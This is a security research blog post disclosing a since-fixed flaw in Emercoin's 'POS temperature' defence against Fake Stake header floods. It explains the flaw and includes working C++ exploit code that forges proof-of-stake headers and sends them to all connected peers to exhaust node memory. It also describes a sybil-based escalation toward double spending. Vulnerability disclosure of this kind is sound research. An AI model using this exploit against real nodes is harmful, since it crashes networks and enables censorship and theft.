Emercoin – Bypassing POS Temperature

By art_of_bug | art_of_bug | 28 Jul 2019


Welcome to the next episode. Last time we discussed Emercoin's 51% attack and the related hardfork. We mentioned that there were more vulnerabilities we have discussed with Emercoin's team. Today we present one of the issues that we reported. It has been fixed for a while now.

This time we will focus less on the story and more on the vulnerability itself, but the story itself is interesting again and so it deserves some space as well. But we will make it short.

When we reported this vulnerability, it was our first time we contacted Emercoin team. It wasn't very smooth again. It was probably the most ridiculous first time contact we experienced so far. Usually, we are annoyed if we are asked to jump through too many hoops. 

With Emercoin it got to completely new level. Basically, they refused to discuss anything with us regarding the vulnerability before we could demonstrate that we could crash a mainnet machine with it. So we had to convert our proof of concept quality exploit into fully functional production level exploit, then we had to buy a server and deploy the exploit and then we crashed the target machine as asked. This obviously revealed the exploitation technique, but as we mentioned before, we try to do whatever makes the vendor happy to create a good relationship. At the end, this worked and Emercoin team started to talk to us. It just felt very much unnecessary.

Another funny thing related to this vulnerability was that even when we disclosed the full description below to Emercoin, they just could not fix it correctly (see related attempts 1, 2, 3) and we had to keep telling them that their fixes are not good enough until they finally fixed it properly.

Today we put the proof of knowledge at the end of the article to prevent spoilers.

Bypassing POS Temperature

Bug type: DoS, memory leak
Bug severity:
6/10

Scenario 1

Attacker cost: very low

In this scenario the attacker targets one or more specific nodes that the attacker wants to crash. The attacker needs a direct connection to the target node, so we expect the target node to be operating on publicly accessible network interface – i.e. public IP address and open firewall port. Eventually, the attacker is able to create connection to every public node in the network and crash all such nodes (one by one). The network will become dysfunctional. In order to recover, the node operators have to delete their databases and synchronise the blockchain from scratch. Simply restarting the node will not help. However, should the attacker be persistent, there won't be any public nodes to synchronise from. It can thus be very difficult to recover the network before the bug is fixed and all nodes upgrade to the new version.

Scenario 2

Attacker cost: medium

In this scenario, the attacker buys nontrivial amount of coins and they also perform a sybil attack against the network – this means they will create a large number of fully operational public nodes. Then they perform Scenario 1 attack against all other public nodes in order to crash them. This will cause that all the block propagation in the network will have to go only through the public nodes of the attacker. This allows the attacker to censor any transaction as well as censor any block, which further allows the attacker to create the longest chain with just fractional stake, compared to the original staking power of the network. With just fraction of the network staking power, the difficulty will go down very quickly because the blocks will not be produced within the expected timeframe. Eventually the difficulty will decrease enough for the attacker to produce a chain that looks healthy and it is fully controlled by the attacker. This allows the attacker to perform additional attacks such as double spending.

Description

Note that the following report has been written before the first attempt to fix the bug was committed. The following description only covers exploitation of the bug before the first attempt to fix it was implemented. Changes to the exploit had to be implemented to bypass the first attempts to fix the bug. We leave it as an exercise for curious readers to figure out how to bypass the protection before the final fix was implemented.

Fake Stake attack presented a method of denial of service through memory exhaustion, in which the attacker sent a large amount of fake headers to target nodes. We believe this vulnerability was addressed by Emercoin with the introduction of "POS temperature" protection.

We demonstrate that this fix is insufficient and can be circumvented by an attacker at negligible cost. POS temperature is simply a counter of consecutive headers of proof of stake blocks, which is initialised to 250 and when it reaches 1000, the peer is banned. Successful delivery of a proof of work block header decreases the temperature significantly (currently the value is 70). The chosen numbers are arbitrary and we would like to note that changing the constants is not going to fix the problem presented below.

There are several problems with this protection. The major problem that we exploit here is that the POS temperature can be decreased arbitrarily. Let's check the implementation of the POS temperature calculation in ProcessNewBlockHeaders:

      int n = 0;
      for (const CBlockHeader& header : headers) {
         CBlockIndex *pindex = NULL; // Use a temp pindex instead of ppindex to avoid a const_cast
         if (!AcceptBlockHeader(header, header.nFlags & BLOCK_PROOF_OF_STAKE, state, chainparams, &pindex)) {
            return false;
         }
         if (ppindex) {
            *ppindex = pindex;
         }
         bool fPoS = header.nFlags & BLOCK_PROOF_OF_STAKE;
         nPoSTemperature += fPoS ? 1 : -POW_HEADER_COOLING;
         // peer cannot cool himself by PoW headers from other branches
         if (n == 0 && !fPoS && header.hashPrevBlock != lastAcceptedHeader)
            nPoSTemperature += POW_HEADER_COOLING;
         nPoSTemperature = std::max((int)nPoSTemperature, 0);
         n++;
      }

We can see that if a proof of work block header is received, the temperature is decreased. However, to prevent decreasing the temperature using headers from other branches, there is a special check as we can see in the code above. This is obviously insufficient, because the attacker can always prefix its fake headers with existing proof of work header and one proof of stake header to avoid the special check. In the most trivial implementation, the attacker would just send around 70 headers in a batch. The first header would be a proof of stake header, the second header would be proof of work header (these two headers the attacker finds on the existing chain) and the remaining headers are built on the top of the proof of work header. This will cause the temperature to first increase by one because of the first proof of stake header, then it is decreased by 70 because of the proof of work header and then it is increased by the number of remaining headers, in our case we use 68. This means that such a batch of headers would never cause the temperature to increase and all the headers would be processed by the target node. This can be repeated until the target node is out of memory.

For each header that we present to the target node, a new block index is added to the map in AddToBlockIndex. It is never released from the memory and it is also written to the database on disk, so restarting the node will not free the resources.

The main code of our exploit implementation follows. This code replaces the original staking code inside of PoSMiner function.

         static uint32_t nNonce = 0;
         CBlockIndex* pChainTip = chainActive.Tip();

         CBlockIndex* pSeek = pChainTip;
         for (int i = 0; i < 200; i++) {
            pSeek = pSeek->pprev;
         }

         // Find PoW block
         while (pSeek->IsProofOfStake()) {            
            pSeek = pSeek->pprev;
         }

         // vInitialSeq: [PosBlock, PowBlock[, PowBlock, PowBlock, PowBlock]]
         std::vector<CBlockIndex*> vInitialSeq;

         // Find PoS block
         while (!pSeek->IsProofOfStake()) {
            vInitialSeq.insert(vInitialSeq.begin(), pSeek); // store PoW blocks
            pSeek = pSeek->pprev;
         }

         vInitialSeq.insert(vInitialSeq.begin(), pSeek); // store first PoS block

         CBlockIndex* pindexStart = vInitialSeq.back();
         std::vector<CBlockIndex*> vBlockIndices;

         for (int j = 0; j < 10000; j++) {
            vBlockIndices.clear();

            CBlockIndex* pindexPrev = pindexStart;
            uint32_t nTime = pindexPrev->nTime;

            std::vector<CBlock> vHeaders;
            std::vector<uint256> vHash;

            for (CBlockIndex* e : vInitialSeq) {
               vHeaders.push_back(e->GetBlockHeader());
               vHash.push_back(e->GetBlockHash());
            }

            for (int i = 0; i < 68; i++) {
               CBlockHeader block;            
               block.nVersion    = CBlockHeader::CURRENT_VERSION | (AUXPOW_CHAIN_ID * BLOCK_VERSION_CHAIN_START);
               block.hashPrevBlock = vHash.back();
               block.hashMerkleRoot = vHash.back(); //dummy value
               block.nTime       = nTime + Params().GetConsensus().nStakeTargetSpacing;               
               block.nNonce       = nNonce++;
               block.nFlags       = BLOCK_PROOF_OF_STAKE;
               block.nBits       = GetNextTargetRequired(pindexPrev, true, Params().GetConsensus());

               nTime = block.nTime;

               vHash.push_back(block.GetHash());

               CBlockIndex* pindex = new CBlockIndex(block);
               pindex->nHeight = pindexPrev->nHeight + 1;
               pindex->pprev = pindexPrev;
               pindex->nFlags = block.nFlags;
               pindex->phashBlock = &vHash.back();
               pindex->BuildSkip();               

               vBlockIndices.push_back(pindex);               
               pindexPrev = vBlockIndices.back();

               vHeaders.push_back(block);
            }

            for (auto pindex : vBlockIndices) {
               delete pindex;
            }            

            g_connman->ForEachNode([&vHeaders](CNode* pnode) {
               const CNetMsgMaker msgMaker(pnode->GetSendVersion());
               g_connman->PushMessage(pnode, msgMaker.Make(NetMsgType::HEADERS, vHeaders), true);
            });      
         }

         continue;

Proof of Knowledge

Whenever we present and already fixed a bug, we will try to also present proof of knowledge unless there are some special circumstances. We do that with the help of OpenTimestamps. Our timestamp data is the following string:

art_of_bug - Emercoin - Bypassing POS temperature protection against Fake Stake attack by sending existing POW header first with existing POS header in front of it. We execute Fake Stake headers attack bypassing the fix, which causes memory exhaustion as per Fake Stake attack description. Memory is allocated for CBlockIndex in AddToBlockIndex for useless headers which we deliver in large amounts without being banned.

The OTS file proving our knowledge converted to hex looks as follows:

004f70656e54696d657374616d7073000050726f6f6600bf89e2e884e89294010881ff31f7220540a06fa333c54417b2edb78b8de4cbeb9e9f8e97e8db6b3da5aef010622187a7e2fc4ffc56b20b653601589a08fff0107982b43f281843faab4a3a998bb3e91c08f0206f33c710bd7f080ff9e55a2eb82b9c3fec918c05b420d9f857531d3f0841c47308f1045cf206d1f00876cb833fb7589e7f0083dfe30d2ef90c8e2e2d68747470733a2f2f616c6963652e6274632e63616c656e6461722e6f70656e74696d657374616d70732e6f7267fff0100fbf272a4eb793952fa46bfd71a4a5d208f1045cf206d2f008009b75fa29d249260083dfe30d2ef90c8e2c2b68747470733a2f2f626f622e6274632e63616c656e6461722e6f70656e74696d657374616d70732e6f7267f010e71785755a68389b8b003c398c74594208f01077d8d437727524f2f654989e7b3565f308f1045cf206d1f00828f47bf8fd1340ca0083dfe30d2ef90c8e292868747470733a2f2f66696e6e65792e63616c656e6461722e657465726e69747977616c6c2e636f6d

If you run OpenTimestamps client correctly, you should see something like this:

351665157-7b52e7e18387035588e6e4bab94e7cc0602b8aa7bffaf32b78161d12c977edf6.png

This proves that we created the record on 1st June May 2019, well before the fix was implemented. Unfortunately, we failed to create the timestamp proof before we disclosed this bug to Emercoin, so you can see earlier attempts to fix the bug, dated 9 hours before our proof record. We acknowledge this is not optimal and we will try to avoid this mistake next time. Still, it is believable that if our record was created just 9 hours after that and the final fix published many days later, that it was our discovery.

 

How do you rate this article?

0


art_of_bug
art_of_bug

We are research group with focus to expose bugs in design and implementation of blockchain projects. We only honour responsible disclosure with projects that honour responsible development.


art_of_bug
art_of_bug

We are research group with focus to expose bugs in design and implementation of blockchain projects. We only honour responsible disclosure with projects that honour responsible development.

Send a $0.01 microtip in crypto to the author, and earn yourself as you read!

20% to author / 80% to me.
We pay the tips from our rewards pool.